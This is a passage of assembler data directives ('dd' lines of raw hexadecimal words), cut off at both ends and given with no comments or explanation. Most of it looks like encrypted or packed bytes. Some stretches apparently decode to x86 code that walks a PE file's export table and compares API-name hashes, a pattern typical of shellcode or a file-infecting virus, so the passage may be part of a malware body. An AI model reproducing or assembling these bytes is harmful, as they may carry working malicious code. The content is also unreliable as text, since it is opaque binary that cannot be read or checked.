0A11EFCEh, 0C5CE0000h, 5149571Bh, 0F5BFD991h, 6027A129h dd 0E3AE28A0h, 7B04B139h, 82CE1E9Bh, 8408004h, 9DDD078Eh dd 6169ADF3h, 0D9B63159h, 3C73D731h, 0E981B87Dh, 9A7F917Eh dd 0E3EA7475h, 13E2A5FBh, 0BE1655AAh, 7B25492Bh, 0D3EDE327h dd 0FBA6249Ah, 2F749C1Dh, 7BC5E7D5h, 0B506D199h, 77B3E9B7h dd 984F6779h, 759ACAFBh, 62094C1Eh, 8846A057h, 893A269Ah dd 78EF872Fh, 759ACD9Bh, 0FEFC386Eh, 0D99C2EECh, 0DDC28443h dd 5DEF8F52h, 0ABF4C2E5h, 0DBE64D91h, 42580FA7h, 0E748A79Ch dd 636E1745h, 91FF973Fh, 3983C909h, 137EF3B4h, 19A34EEAh dd 0C50CDD75h, 68C33792h, 76D0148Ah, 0B1495F7Fh, 24E28F4h dd 0A9DD9372h, 0E9EF48DFh, 943A988Ch, 0E5E82451h, 595BA3F9h dd 13FDCF8Dh, 0D11808B2h, 238A40C5h, 92Bh, 7D7DAFE8h, 0C78B4F53h dd 4F03DFD9h, 0D69A5A41h, 5F13C9C8h, 0E4A54522h, 662EA820h dd 0EDA836BAh, 871DBB37h, 17BF0F43h, 0D730C350h, 925B2673h dd 0E7D51177h, 6860BCF9h, 9A7F46B7h, 0B6699475h, 2CEF8811h dd 6B03EDAAh, 44A16125h, 0D982D04h, 5329ACFCh, 69D49094h dd 9309978Fh, 0DE601E57h, 0C8A91EB6h, 2D73D7C4h, 5C42DA93h dd 0C0CE8246h, 32501EDAh, 4F279577h, 0D1844041h, 0B11CC8CDh dd 46AF307h, 0A0DC915Fh, 5D000008h, 0D8C68A5Ah, 4E4800C0h dd 0B6D09844h, 3D5B17D1h, 0B520A87Ch, 0B36928C8h, 3515913Fh dd 429A1B85h, 0DE1A800Eh, 25A2CA92h, 73D72F54h, 773FF0B1h dd 29C1D511h, 9A7FD1BEh, 23AA3475h, 44039B6Bh, 759A7FB7h dd 0D9C58852h, 0A1653BC3h, 0B937912Bh, 40516FBFh, 770D31E1h dd 2C6978A4h, 6E0FAF0h, 0A9584727h, 626BAC26h, 0EEE2267Ch dd 700AD9E5h, 5247398h, 90020000h, 2A9D3165h, 8F6926DAh dd 1FFC6B3Bh, 0FA73D736h, 1FEE8660h, 0B62EAB0Ch, 1CF4F9F1h dd 0C4E82C72h, 490CD8DAh, 0BCE6EE97h, 0E8E7493Eh, 0BC9CFA3Bh dd 42C6E082h, 356CE751h, 54000000h, 0DC914B4Ah, 3268901Bh dd 7F4C2D9Ah, 17A9759Ah, 1D55E259h, 222A9573h, 0A74C7E0Ch dd 11E6B817h, 0CE000000h, 6123C5C0h, 0CB9537A5h, 0B58B582h dd 6F000002h, 4CFB6590h, 759A7FAFh, 7E16F04Ah, 692517C9h dd 94368Fh, 361EFF68h, 61FB73D7h, 11CDB26Ch, 0DC73D736h dd 4F4D03D9h, 7ED19F5Bh, 6E7BE0DEh, 0A5D0D0EEh, 0B26ADDF1h dd 9389246Ch, 10F181C9h, 68F823C4h, 20A7CFD1h, 759AA453h dd 3DA114B6h, 0A422A87Ch, 0EBA927E5h, 0EFAA3D73h, 9313BD3Dh dd 72DC148Bh, 8A565E7Ch, 0E8C606C4h, 0D0B7575Fh, 0A6005A10h dd 0A4BE752Ah, 464F759Ah, 0EEB4D29Eh, 908FA42Ah, 2DCD3268h dd 0C9C9B969h, 706B3C78h, 89E5DCFh, 523C8ECCh, 0D733731Bh dd 12D46EBFh, 2BB9841Ch, 0E7D52D75h, 7EAF90C5h, 6658A466h dd 707DBAC4h, 3F81098h, 77270000h, 89CD20Ah, 7F26F770h dd 0CFD3759Ah, 0DA3B850Bh, 3E37BCE1h, 0E57A73E6h, 516FFDD8h dd 5E3FA840h, 5D759A83h, 9A830DEAh, 0D856E875h dd 424F4F06h, 0EF3ED69Ah, 0CC9C105Ah, 513EA974h, 0B4759A00h dd 9905482Ah, 1FFFCC18h, 6F744B97h, 9918AF81h, 7329F743h dd 0BDD1158Bh, 9A006D0Ah, 54368875h, 86008E66h, 34A145Ah dd 9A008842h, 704E8E75h, 4575B1D7h, 0CC825A5Bh, 9A00BB17h dd 0E3DDFB75h, 0D79B4144h, 9A1C3710h, 5E8A0A75h, 3BEC4E10h dd 9870B60Eh, 0A37F3967h, 83DA932Dh, 0FFFFFF27h, 0D51177B2h dd 61A5FBE5h, 7FDAB46Bh, 7CDC759Ah, 3BFFA542h, 766829B7h dd 9A7F20F1h, 997BC575h, 3CAB43D3h, 759A7F5Fh, 0F8AD20BAh dd 450FDEB2h, 51F3CD0Dh, 48036855h, 8A56503Eh, 6CECC3h dd 908B0000h, 59D3165h, 7F1DFA6Dh, 66F8759Ah, 25E6B66Fh dd 7F218F69h, 0E9E5E828h, 0F0FE2E6Bh, 947430EEh, 0B43A8426h dd 0D7362FCFh, 36085073h, 3DF66A94h, 2EC09Eh, 59A80000h dd 0D273DABDh, 1126AF79h, 9A6511AEh, 156DD875h, 38FFFFFEh dd 1958h, 983000h, 9A7FB647h, 0CA895375h, 759A7F2Dh, 0F67F76C8h dd 2A958h, 11776F00h, 0D5DFC1D5h, 0C8A4409h, 971E5296h dd 54ACF46Ch, 634D2D09h, 6E0F429h, 868DF96Eh, 0E2608F52h dd 566866A2h, 4C01C6F4h, 0B73D286h, 235FEDC3h, 489E383Ch dd 0CE874146h, 46F7h, 6590BE00h, 3C2A9D31h, 998F5262h dd 72BD5A0Dh, 4E4873D2h, 63421C92h, 0F6A8B556h, 91DFB9DCh dd 0D26D712Ah, 18163673h, 38DB788Ah, 0CC7B139Eh, 73D2612Fh dd 4F0DDFDAh, 7F2DBF7Dh, 0D9E3E935h, 0D93D94h, 77F80000h dd 0F9E7D511h, 966E6CB8h, 2F988E08h, 759A7F4Eh, 3EB711ABh dd 80CE0A90h, 10589C02h, 4D971E80h, 7B715F08h, 1A80759Ah dd 0E81392DEh, 72DC0C88h, 0DAC1ED5Ah, 213C8F54h, 40A3246Dh dd 17BF19F1h, 0B490117Fh, 7C71ABD6h, 0C8C95752h, 0A20C5E1Ch dd 3BE1A02Eh, 6D48145Ah, 0FFFE7C04h, 4C7h, 99D13374h, 636FABFFh dd 0EBE72365h, 727EB6EDh, 0FBF75554h, 4041A1CEh, 0CACAD484h dd 7134521Eh, 0E3B927ABh, 7B13AB27h, 0D72B2FCCh, 66AFCA73h dd 0BAD20A77h, 1AB6D06Bh, 8BC25F6Fh, 3EA941D1h, 759AE951h dd 37CB2AB4h, 0C637F90Fh, 0B5EBF3FAh, 816F0CBBh, 0DA25759Ah dd 7B741434h, 19FB45CBh, 8245DD75h, 759A05F5h, 68094E10h dd 8D759A05h, 0FE58980Fh, 813205F7h, 349951Fh, 7F27F473h dd 78C2759Ah, 0D1B7D79Eh, 921F8115h, 33BA044Ah, 475D7Bh dd 3ED403D0h, 0EA5D71CCh, 759A590Dh, 0E0F456E8h, 9BADEABEh dd 0B195595h, 49034A14h, 0FF4E68B9h, 0E0AD2D82h, 387A1BCCh dd 0CD9F759Ah, 0A2D6E188h, 3C515D0Ah, 52EC8F52h, 0DEB9881Ch dd 2ECE103Dh, 0D8BB6C61h, 8D73D238h, 242F5F51h, 0E7EB5C70h dd 5A891A3Ch, 0CF1DEC80h, 2B65E144h, 3AFBB538h, 0AB436B0Fh dd 7065BDE5h, 698771B7h, 0A6CE908Fh, 3EA9B9F8h, 73D79751h dd 5482AB4h, 0BB67216Fh, 97A97037h, 5D5873D7h, 51E2CB87h dd 0B5000000h, 9A7FFDAEh, 8FABD775h, 21E1B9E7h, 0ACD6F0ACh dd 0B78D5C70h, 6637B0D7h, 83759AB1h, 7C10DC39h, 2398561Fh dd 759A0952h, 1E7FB191h, 24FAE2CFh, 0C68F0DB0h, 4E02DED8h dd 77ADE8B6h, 606E6779h, 0AF1FF25h, 759A9C50h, 6DFA3410h dd 7BFCFC28h, 0BED60E77h, 363AF46Fh, 0CB6DC693h, 0C3DB0553h dd 7016F456h, 4F4D01B4h, 2935446h, 0E7759A85h, 3DFC745h dd 95092BA1h, 0D45118B4h, 0B5D6FAh, 3C790E20h, 7618E8E0h dd 0C09AD00Ch, 0B0BDD88Dh, 0AF70759Ah, 98700A92h, 0FFFF633Ah dd 1177FDFFh, 0BE29C1D5h, 759A7FD1h, 30EC9634h, 0F4620BAh dd 0DDD9C75Fh, 4046480Dh, 523CD484h, 7016F450h, 31A406B4h dd 731B3F4Ah, 526DB2F4h, 0AAD7B98Fh, 0F9437B72h, 6D530CF3h dd 341473D2h, 0D75E68FAh, 53F49E38h, 0DC000000h, 0A614F0B2h dd 90E45104h, 59D3165h, 6D0C9324h, 0D1E59528h, 9AEF7916h dd 8BC29C75h, 52F24CDAh, 0F0770F8Fh, 73D2E223h, 7D7164C6h dd 0DFC5CBE3h, 6E6A3A1Bh, 575ADC4Eh, 0CAD4A01Eh, 0EF581DCFh dd 73D22632h, 0C95B5575h, 9E3890BDh, 0F817h, 1177DE00h dd 0B8F9E7D5h, 0C18F5550h, 492C9EFFh, 15779A04h, 277D234Bh dd 440AD2DFh, 19D5987Ah, 0CDE1257Bh, 5D1E137Ch, 6F668BCBh dd 4F8B11BFh, 51705C03h, 2977759Ah, 0A13BB171h, 38FCA22Ch dd 0B47016B0h, 20547F06h, 0B9CFBD8Ch, 46440321h, 4E0CDCD8h dd 24A3797Ch, 8F52FF62h, 25FDFD4Fh, 599D038Dh, 0D2E07D1Ah dd 8FC69873h, 15B9DDE8h, 9562E57Dh, 6073D2E0h, 0AE30FE3Ah dd 445A7E27h, 0EBBB891Ch, 0B624E0A5h, 44CEAF14h, 673B7598h dd 0F153EDA3h, 16F6B3DDh, 0AF7D3C5Ah, 257396CEh, 7D70FE02h dd 1C3h, 0E5D53770h, 6F63A7FBh, 0F7FB2761h, 7E72B2E9h dd 0C78B5150h, 4C4DADCAh, 0CEB6D098h, 75305E12h, 0FFA523AFh dd 7F17B73Bh, 0D7282BC8h, 6AA3CE73h, 72961F81h, 0C4E6D430h dd 636A747Ah, 0E2EE3E7Bh, 9CF9BEE4h, 3056D234h, 0A96D33E9h dd 0B33F9923h, 316590BCh, 0FA6D059Dh, 759A7F1Dh, 0B66F66F8h dd 8F5262A8h, 463DB30Dh, 73D27295h, 16B48AD2h, 9E38C414h dd 4A8A117Fh, 0CEAC03h, 774B0000h, 0FE7D511h, 0DDAB133Eh dd 0C417FECh, 0BCF90782h, 13C88660h, 759A0D4Dh, 9A5E444Ah dd 11D5CBD3h, 91693F59h, 616FC909h, 580F7984h, 759A0DBBh dd 8A228C5Eh, 523D09DDh, 0BD2AC28Fh, 73D222DCh, 0AFE12439h dd 7CB13D3Bh, 19A3DB92h, 8D6ADD75h, 6873D250h, 442D9FD6h dd 0F6710539h, 891CF1B1h, 508CF694h, 0F1B0DEF6h, 37CFA72Bh dd 98F1E3B0h, 103EA975h, 0FA9A8F0h, 28B63F81h, 80D2B369h dd 180225ECh, 0B91B52h, 3D660000h, 0B9E1EFE3h, 2D577179h dd 0C8DFF9F1h, 5B464008h, 0D3DCC981h, 0DA967633h, 0A028F8BCh dd 35A57F26h, 0B931F5ABh, 31DE8921h, 0D473D727h, 0A08160D5h dd 7AA4AF60h, 1E8035C2h, 87014993h, 0A295C501h, 0E7D51177h dd 4F67A3F9h, 0D39A5A41h, 0C96D9819h, 256E22A5h, 0FD4F8F69h dd 0FCBD1FFh, 5A9A8667h, 0ED315296h, 0F4AA34E8h, 78C5BA30h dd 55E227A2h, 0BD7DFC1h, 3BCCE242h, 5929A165h, 0DD905037h dd 3AACEBB1h, 39CDF660h, 6CCE1A9Ch, 0D9CECC82h, 508512D5h dd 0DE600287h, 6667E7Ch, 0F1099F28h, 5F616FABh, 0CDD3FDFDh dd 86A4309h, 62000000h, 29AC643Ch, 77BC8B0Ch, 0F09EDC0Ch dd 62606EAAh, 0D5F3F923h, 5D7B71D1h, 0C4C2885Ch, 4B4907C5h dd 0B0DE9C54h, 26A42AF6h, 5B28A662h, 50E68956h, 0E34094B8h dd 5D8F732h, 32E34098h, 8358C601h, 348704EEh, 0CC685C24h dd 89000061h, 8952243Ch, 4C281E2h, 83000000h, 148704EAh dd 0C895C24h, 58B85024h, 0BF482E57h, 0BE1EF30Ah, 48BC701h dd 4C48124h, 68000000h, 55E3h, 81242489h, 42404h, 50590000h dd 8B8h, 52C80100h, 0BAh, 89C20100h, 0FF585A3Ah, 81592434h dd 4C4h, 243C8B00h, 81E38953h, 4C3h, 4C38100h, 87000000h dd 0E95C241Ch, 0FFFBEF3Eh, 0FDB7A77Bh, 0BEBEC7C1h, 0B877EFD7h dd 64D58EFh, 0E0FFC503h, 379DBCA7h, 61A506C8h, 1192BF2Eh dd 0D942320h, 2DBD851Ch, 7E81323Fh, 24FFD046h, 1C870F44h dd 4179CF4Ah, 0C7FE532h, 43F70E81h, 7BC1A06h, 7450149Fh dd 333A9B2Dh, 1CBFE848h, 6E8h, 0C1F64600h, 663C150Ah, 3877EA81h dd 81666059h, 0FC338CEEh, 61C18161h, 8100005Bh, 5E9D98EBh dd 0BBC0331Dh dd 5E14D73Dh, 6601348Bh, 814577BAh, 0B146C9C6h, 42EB8043h dd 0CD39EE81h, 14E87995h, 77000000h, 2F7CC35Dh, 6810303Ch dd 0C956C01Ah, 44DF7865h, 0E83153DDh, 6, 0A01F060h, 0D5BBA555h dd 5B2558EDh, 0AFEE815Bh, 0E85C8BEBh, 9, 0E8F3A478h, 0F44C5D76h dd 5BDBB614h, 0F013489h, 486h, 0A1BF6600h, 2810F61h, 8B000000h dd 4E883DEh, 0FE8h, 74DA9600h, 0A37636BBh, 0B6CA6AC3h dd 780D2376h, 88F8815Ah, 0FFFFFA5h, 1A85h, 0F1BF6600h dd 2CE997h, 0E96C0000h, 0F60E0B10h, 1742CE39h, 0D44F102Dh dd 0BF463C25h, 3EA4806h, 0FFFF4BE9h, 290B61FFh, 4C4EA8C3h dd 0C1D1B63Fh, 1AC9B553h, 0B0E90E77h, 60000000h, 0F6DA8C66h dd 850F04C2h, 0Ch, 0ED5853Bh, 840F0648h, 36h, 2F2D853Bh dd 840F0648h, 2Ah, 27C5853Bh, 840F0648h, 1Eh, 327D853Bh dd 840F0648h, 12h, 9A1BD83h, 0F010648h, 584h, 5FE900h dd 0D08B0000h, 8B3C5203h, 88BAh, 784A8B00h, 840FC985h dd 49h, 0F8C281h, 728B0000h, 8BC8030Ch, 518B1C59h, 8BD80314h dd 0FC9850Bh, 1084h, 0FCE3B00h, 1782h, 0FCF3B00h, 0F83h dd 4C38300h, 0DC850F4Ah, 0E9FFFFFFh, 0Dh, 4E809D8Dh, 5B80648h dd 0FF000000h, 0BC361E3h, 0F68D8DD0h, 60064D5Bh, 0F954F580h dd 7D853361h, 8906480Ah, 4814058Dh, 0DE816606h, 85C71BF6h dd 6483025h, 7460h, 0D985C7FCh, 6482Ah, 60000000h, 0A818D01h dd 81660648h, 61C047E1h, 915B5FFh, 8D310648h, 648140Dh dd 0E7195FFh, 6A0648h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 9D8B35C3h, 64817F9h, 95FF006Ah dd 648092Dh, 19EBC08Bh, 9E9C7087h, 491B97B9h, 59367427h dd 95A8252h, 0D91F29EFh, 60ADFD2Bh, 2B8D8D0Ch, 6A064D5Dh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 0A8EEC355h, 21B58BB3h, 8906480Bh, 4814058Dh dd 6800F06h, 89000000h, 48144DB5h, 2585C706h, 1C064830h dd 6A000061h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 7A66C350h, 9379BA39h, 5801AE8Ah dd 0BE860h, 42450000h, 0F70DF09Ch, 34D4C028h, 33CB812Ah dd 5E71D333h, 0E7D9589h, 0C7610648h, 482AD985h, 6, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 1F202785h, 0C295F1B6h, 58C3819Ah, 663928F1h, 0B5FFFB8Bh dd 6480C39h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 15h, 12C35545h, 7195FF3Ch, 6A06480Eh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 6D02C351h dd 0D1B81666h, 99DF8166h, 0FF006A52h, 48092D95h, 0EBC08B06h dd 3CC8A57Bh, 0ADAFBC1Bh, 61C4690Ah, 0C4B6E833h, 0EEE48CF4h dd 0FACF1892h, 55122297h, 2655157Dh, 162C4B27h, 57A75B36h dd 0F041AF20h, 0DD53A938h, 1EB73298h, 0D7217B2Ch, 0C8AE73F8h dd 65B218FFh, 49155953h, 4D535969h, 0ED9637C1h, 623DAB63h dd 0E2DD4D17h, 6CF3E886h, 0A7DBF766h, 6263EED7h, 3977ABCDh dd 0DB0D0C1Dh, 0D8E2C7C5h, 53F3FD09h, 0B5EE514Fh, 686FB986h dd 8DFC2843h, 158E9h, 12E900h, 0FC600000h, 53CAC985h, 0AEA27274h dd 75F8B9A9h, 89249F07h, 46B58DF9h, 6A064D5Eh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 0F53EC352h, 47B4858Dh, 0FFF5064Bh, 52006AD0h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 2299CF0Dh, 8E9F4h, 0E4B80000h, 12FE3A0Ah, 880F5D19h dd 10h, 0BE9h, 6058BC00h, 82BF1A01h, 7D845645h, 8820FC3h dd 0F000000h, 28Dh, 66616000h, 6AD98Ch, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0D3C151C3h dd 6EBE774Ah, 0FE9C696h, 0B0000000h, 1A435200h, 1C31F989h dd 60EE825Eh, 0F6FC2947h, 840F04C1h, 49h, 0CE9h, 1684F100h dd 4F7EFFBEh, 0CFEB56D2h, 8BFB8BB7h, 0AEC032CBh, 0CF2BFD75h dd 0F92BD9F7h, 8B49D78Bh, 0CD00EBD9h, 1013F20h, 74C00B00h dd 0C708D18h, 0CB8BFA8Bh, 490A75A6h, 1B8FA75h, 0EB000000h dd 0EB008B09h, 0B8E4h, 60CF0000h, 36B5D88Ah, 138E0F61h dd 60000000h, 0E9DFB70Fh, 9, 0A47139A3h, 93B0739Ah, 81606193h dd 0AF93AAC8h, 5951606Eh, 61FEB70Fh, 0B485C761h, 3F064D5Eh dd 0E8000101h, 0Ch, 0DCC0E028h, 5513411h, 0E289F59Bh, 0DF44D781h dd 0E959258Ch, 0Dh, 0E8E54E73h, 6AA14268h, 0E3B94210h dd 93C181C5h, 0F000066h, 684h, 86DA8100h, 0BE7B5A05h, 0 dd 840F5253h, 0 dd 34FF5B5Bh, 0DABF0F0Eh, 72BF6658h, 5CC0814Ah, 8159DA9Dh dd 0FEAE1CF3h, 0DFF0815Bh, 806CA512h, 0C0819DEBh, 7106E18h dd 6650D98Ah, 8F3868BFh, 0BB663104h, 5760DE58h, 836159F9h dd 8E0F04EEh, 1, 1CFE81F5h, 0FFFFF9Ah, 0A85h, 19E900h dd 0D65D0000h, 0F09C053h, 9FE9D1BFh, 0F2FFFFFFh, 0A34D55E2h dd 2C2BE260h, 8D245FF6h, 4D60688Dh, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 2A7187E9h dd 0BC72F6E9h, 2EFD9D8Bh, 8D890648h, 6481405h, 0BE9h, 0E1FAE900h dd 89EB885Bh, 35F770C8h, 302585C7h, 60B80648h, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 0DD8AF4C3h, 2AD985C7h, 648h, 0BD8B0000h, 648279Dh, 2C299509h dd 0B5FF0648h, 64806FDh, 0E7195FFh, 820F0648h, 2, 6AE0B2h dd 92D95FFh, 0C08B0648h, 0F97C68EBh, 132E4DEEh, 52D54EA3h dd 9B2DD886h, 0B13A9F5Dh, 0E4717948h, 87C32E7Dh, 868A5BBBh dd 1EA202C0h, 0C2A9F9D1h, 39F3A3E6h, 0DDF77A1h, 152CA0FCh dd 74B3F74Eh, 0F48B4712h, 0C77B1AC5h, 0F48D0408h, 2C8DAC97h dd 0DE782ED0h, 4C1E854h, 8AF41A34h, 0DD3D7CF9h, 0A0F85E52h dd 97926708h, 26ACBA8Ah, 0D0A6928h, 60EB4C79h, 18h dup(0) dd 0C29E9h, 0C1DE900h, 59680000h, 0E9064D69h, 0FFFB1D29h dd 4D6AB668h, 1D1FE906h, 3F68FFFBh, 0E9064D6Bh, 0FFFB1D15h dd 24445BDAh, 0ADCFCA68h, 11736EF1h, 84E4FD85h, 0F6D6C08h dd 0BB78FE4h, 0A83E6A36h, 26C3DFBDh, 0AE554123h, 831AC9ABh dd 71936D2Bh, 0D0E57B7Ch, 94236539h, 68B67C71h, 0D1F8CD2h dd 7ED4D3A1h, 0E6E38565h, 0C662FE89h, 0D45554D0h, 5870C6A7h dd 0DDBFAA3Ch, 8A8D28C4h, 7A16BCFDh, 4A57E9F9h, 8EFF7C3Dh dd 37077F2h, 85F2EF71h, 0DF654BF7h, 4FCCADDAh, 0D0C6623Eh dd 0A2D3504Fh, 22532ED6h, 0A5D2B156h, 0BD282DD7h, 1F9ED9C4h dd 238B4039h, 5DFF3894h, 0C29C33CAh, 76248A86h, 0ECC25552h dd 76248AACh, 0F9D77F38h, 7C71EB96h, 0AB42D5D2h, 3D959411h dd 0B6D2D75Dh, 0DBC9DFE6h, 747A1969h, 45ACD4Ah, 7C715648h dd 1662139Ch, 690A966Dh, 6CFBFE85h, 68464FD0h, 76243330h dd 0DC72F3BCh, 0B9FD66CBh, 75BDC67Ch, 5B5B671Ch, 0BF332D99h dd 92798C17h, 48D8E11Ah, 4Fh, 0E1E48F21h, 28BB1390h, 4047EC80h dd 0DC7233h, 80FA9F35h, 0D2AF57E9h, 7D51C4A5h, 7624333Bh dd 0A48EE89h, 7624334Eh, 0E3B5E99Ah, 0E9869924h, 0D76AFF88h dd 4144EE7Ah, 63F27330h, 832B36C9h, 851B80E0h, 0F499FAFFh dd 39676Fh, 0B9FC0000h, 0BAFED07Ch, 0E6762432h, 48374540h dd 2E80AECBh, 7624326Ah, 806E0B70h, 0E74F5AECh, 0FF85652Eh dd 41366BFAh, 15149004h, 34D5B460h, 0EC80059Eh, 70314E41h dd 80AA4FDAh, 32D395E9h, 86E17624h, 0B9635C30h, 26E2972Eh dd 0B387522Eh, 0DAABAE4Ah, 0D8F65CDDh, 7C6D1F59h, 0CD9DEA95h dd 7C6D1E87h, 7DAB10C2h, 0DBA9E286h, 1845Ch, 80B9C700h dd 3D734BDAh, 6E762433h, 32C187D7h, 59EF7624h, 0DB733C4Ch dd 0D1A3D0DFh, 0AE355752h, 48E8FE85h, 0D6683849h, 7CFDBACBh dd 0FD669AFFh, 0BDC67CB9h, 9279EE75h, 48D8E11Ah, 49h, 0EDF88F21h dd 7CB92245h, 83D47532h, 4EDA160Ah, 4A2FACA3h, 5546EC80h dd 24333F79h, 65E28D76h, 563F9714h, 24334078h, 86E38C76h dd 4E41EC80h, 85642DE8h, 67E90EFFh, 0F92EDA0Fh, 71FE7F7Ah dd 676FF414h, 45h, 41EC80FCh, 0DA70314Eh, 0E48E3702h, 800760E1h dd 2C24080Bh, 90268EA6h, 52D26E05h, 0E9412E5Fh, 243BADEBh dd 0E77E3D76h, 69814BB2h, 64D2EDA6h, 7D136491h, 0DED15C52h dd 0EB43C0A1h, 851B80D8h, 0F499FAFFh, 380B806Fh, 61B9BD8h dd 0E5ACE36Dh, 2C8F14Dh, 1D893B93h, 505F7625h, 0D7D25123h dd 0FE852EB5h, 0FD669EFBh, 0BDC67CB9h, 9279EE75h, 48D8E11Ah dd 35h, 0C67CB9D3h, 6A2E80BDh, 76762432h, 1B806C09h, 4DE9FF85h dd 0F17E3F4Ch, 0B9FFCF66h, 7762432h, 4948E878h, 0EC80C6E1h dd 7E3F4C5Bh, 67A849D8h, 4Bh, 0C67CB9FCh, 52E980BDh, 24333C7Ch dd 57116D76h, 65762432h, 0A9016E1Ah, 24326D2Bh, 7D029E76h dd 7271F26Eh, 0B0D5DADCh, 4346EC80h, 32BEFAD4h, 6D0A7624h dd 854B50C5h, 8099FAFFh, 0DA9D9E0Bh, 389EB54Eh, 5EE67A29h dd 67D8EB43h, 0F4h, 2E80B9FCh, 0D84D2E27h, 0AFAF1C63h dd 21954431h, 0A83FD657h, 0C1696814h, 24A8DD93h, 198CEB76h dd 0A86C2C82h, 3F787624h, 0EB881897h, 80E78CECh, 32D395E9h dd 90E17624h, 24327A3Eh, 0B8394676h, 0E6FD8612h, 0B9FD669Dh dd 80BDC67Ch, 32D395E9h, 86E17624h, 32F9BF0Fh, 0B8C77624h dd 79ED7612h, 0D8E11A92h, 3848h, 0B80D300h, 55702044h dd 6F3F9787h, 80D7B052h, 24326A2Eh, 451E9376h, 0E9847399h dd 0A5C2EE44h, 851B80C0h, 0F499FAFFh, 95E9806Fh, 762432D3h dd 823086E1h, 54h, 0C67CB901h, 90C3B84Fh, 1C13A4CCh, 0AEC385D5h dd 6EF17624h, 17650273h, 80A1C268h, 24326A2Eh, 84FF7076h dd 0A9AC5734h, 503390DCh, 1B80B6D3h, 0DC580B80h, 0A67A339Ch dd 2D850201h, 0A1C2C76Dh, 6F069DF4h, 2432591Fh, 4A186776h dd 7624330Eh, 5275DDDAh, 3C950B80h, 90E750A3h, 0C8D55E3Ah dd 24E3B2F6h, 0F0713E76h, 7574F183h, 0FDF87B17h, 7D80F98Ch dd 4255BB49h, 0D5913F97h, 0F6762488h, 0C4588744h, 2A4B383Fh dd 686F1484h, 7F079908h, 0A74CCC62h, 0EB9DD3A0h, 0DF0EFDAFh dd 82844FAAh, 119EEFE2h, 0E9F3D764h, 0A352D141h, 41821E76h dd 6602833Fh, 29E87A2Fh, 0FE25EE0Ch, 0A5511767h, 109F7624h dd 33D9E2BAh, 0AD47CAA4h, 6F067C6Ch, 6CAC591Fh, 0B218677Ch dd 0BA087906h, 7C6CACFAh, 0E26E551h, 0DBA97415h, 4FCFh dd 0B805400h, 209E8E5Ah, 8E0AA0C5h, 8776FDE5h, 69F55CBFh dd 8DFA7B51h, 0FCEB7CECh, 0F8B00E7Fh, 0D1762478h, 869D26BAh dd 1BC1BE30h, 0F7336998h, 0FA26EA41h, 4DCAD96Eh, 0A2A146DAh dd 0B944D4D5h, 2A8C9A6h, 179D2F66h, 0E4FB8612h, 27401697h dd 450FFE85h, 472B7305h, 8C992FBDh, 0A631BEFFh, 0C169740Ah dd 3BE1DAB2h, 949310ACh, 653086E7h, 71E57A09h, 0ABC9B67Ch dd 0C352F8C3h, 0B96B66EBh, 94E58282h, 296A7EC6h, 80FAA76h dd 8D8C297Bh, 17D4A6FCh, 0DA813DDEh, 0E43631EAh, 25EBDDh dd 0B9300000h, 0B44BDA80h, 0A70D91FFh, 0D066EF66h, 24DAD682h dd 0F2650276h, 4BDAC95Eh, 9C322FB1h, 29720Ch, 80D10000h dd 3C7C52E9h, 88762433h, 32F9BFEFh, 0B8C77624h, 0D983BA12h dd 3344704Eh, 17907624h, 4C5BEC80h, 5FDB752Ch, 67D3F45Ah dd 186h, 0CE7FB9FCh, 38AF2C23h, 0F4B40AA1h, 0C0762432h dd 32B1F7A7h, 53DF7624h, 3040215Eh, 66C4DF77h, 0FBFE85FDh dd 79EE759Eh, 0D8E11A92h, 3248h, 7FB9D300h, 2E80B8DDh dd 7624326Ah, 86851A76h, 6E0B88E9h, 0E2851B80h, 85D970E7h dd 762432C3h, 0A7C09611h, 0EC806FF4h, 72334047h, 33DEDCh dd 0B9350000h, 80B8DD7Fh, 24326A2Eh, 0D71E9376h, 3D8D1DE2h dd 4AFDF75Fh, 19C8D58h, 2142C397h, 0E2851B80h, 0E98082E7h dd 2432D395h, 0A86E176h, 26C36B6Eh, 0FBFE859Dh, 5554D06Ch dd 32ACECC2h, 7F387624h, 0B80CCD7h, 0C7DD3697h, 0EE8B19AEh dd 933443EBh, 4FC67CB9h, 19E3BD5Ah, 24E70345h, 0DDD6D176h dd 53FB73E9h, 851C7530h, 24326F29h, 9C327D76h, 1A92790Bh dd 4048D8E1h, 0D3000000h, 33D57CB9h, 80CCA956h, 72A6460Bh dd 0F258E188h, 0E90D4B23h, 453E7624h, 0B18A626Eh, 1F9B3377h dd 18D8DC64h, 0A22348A1h, 57E980C1h, 0B845D7AAh, 857611B9h dd 0F499FAFFh, 34676Fh, 80FC0000h, 32D395E9h, 6FE67624h dd 0B79C85FAh, 0FB535C2Ch, 1B7C1623h, 326A2E80h, 1D707624h dd 24330741h, 2DAAD576h, 851B8048h, 0D16BFAFFh, 0E4FF5752h dd 0F8856FF4h, 32D99FEFh, 98E77624h, 99DC6A1Bh, 0F6762432h dd 0EEFB8D1Fh, 86A91648h, 32D99FEFh, 7F077624h, 0C1691662h dd 42D5D451h, 0CF8EA949h, 8D2524A3h, 0F88556FDh, 6774AEAh dd 0F98BF879h, 7C0C7D7Ch, 0FD8FFCEBh, 870E7F6Ah, 47DF14CBh dd 0D067B675h, 2432BAFEh, 0D1790676h, 0C7A5A441h, 0B0B732CEh dd 4E0CA2C3h, 76243C98h, 850205A0h, 3EC19912h, 111BCFF7h dd 91EEE383h, 0F822BA10h, 69DDE16Eh, 0A6BCFCD2h, 6F087624h dd 23DF61Ah, 882EDB9Eh, 0FFFE1844h, 0FD47DFFFh, 0E9762432h dd 7624332Bh, 2432DC9Bh, 3286CE76h, 34707624h, 0A2762433h dd 362432E2h, 0D4659E13h, 0ED2FDB93h, 0CCEE945h, 881AC599h dd 0A1CE3C6Fh dd 